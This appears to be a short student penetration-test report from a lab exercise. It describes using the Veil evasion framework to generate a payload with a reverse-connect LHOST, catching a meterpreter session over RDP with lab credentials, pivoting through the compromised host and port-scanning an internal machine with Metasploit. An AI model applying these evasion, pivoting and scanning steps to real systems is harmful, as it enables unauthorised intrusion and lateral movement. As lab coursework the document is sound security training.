Penetration Test Report

Pulkit Sanadhya

11th October 2019

Contents

Executive Summary

Background

The goal of the exercise is to Use the Veil evasion framework to establish a meterpreter session on herd.m3g4c0rp.com and using that meterpreter to port scan the host patronum.m3g4c0rp.com and Developing a plan to attempt to exploit that host.

Recommendation Summary

The kali attack box will be used for this purpose .

Technical Report

Exploitation

Now , using the command veil and using the option 1 we created a veil-evasion session .

Now, using the command set LHOST 172.24.0.10 and then using the command generate we are able to generate the veil commands.

Now, the output of generate command is stored in the directory /var/lib/veil/output

Now , opening the file by using less /var/lib/veil/output/source/payload.bat

And , concatenating it by using the command cat /var/lib/veil/output/handlers/payload.rc

Now, by opening a metasploit session and using the following command

resource /var/lib/veil/output/handlers/payload.rc We can open a new tcp handler session

Now , using rdesktop to connect to herd.m3g4c0rp.com and using /var/lib/veil/output/handlers/payload.rc as a network share we can log into using the admin account john and password as Password123! that we created in previous exercise.

Now, by going to the command prompt of the machine and executing the shared payload.bat file , we can start a meterpreter session.

Now, after putting the session in backround and using the command route add 10.30.0.0 255.255.255.0 1 we have added a route to the give subnet through herd.

Now , using the command use auxiliary/scanner/portscan/tcp we have loaded this auxiliary.

Setting the RHOST to 10.30.0.97(patronum.m3g4c0rp.com) and PORTS to 1-1024 , we can run the scan by executing the command 'run' and scan the patronum.m3g4c0rp.com.

Conclusion

We were able to successfully use the meterpreter session using the veil session.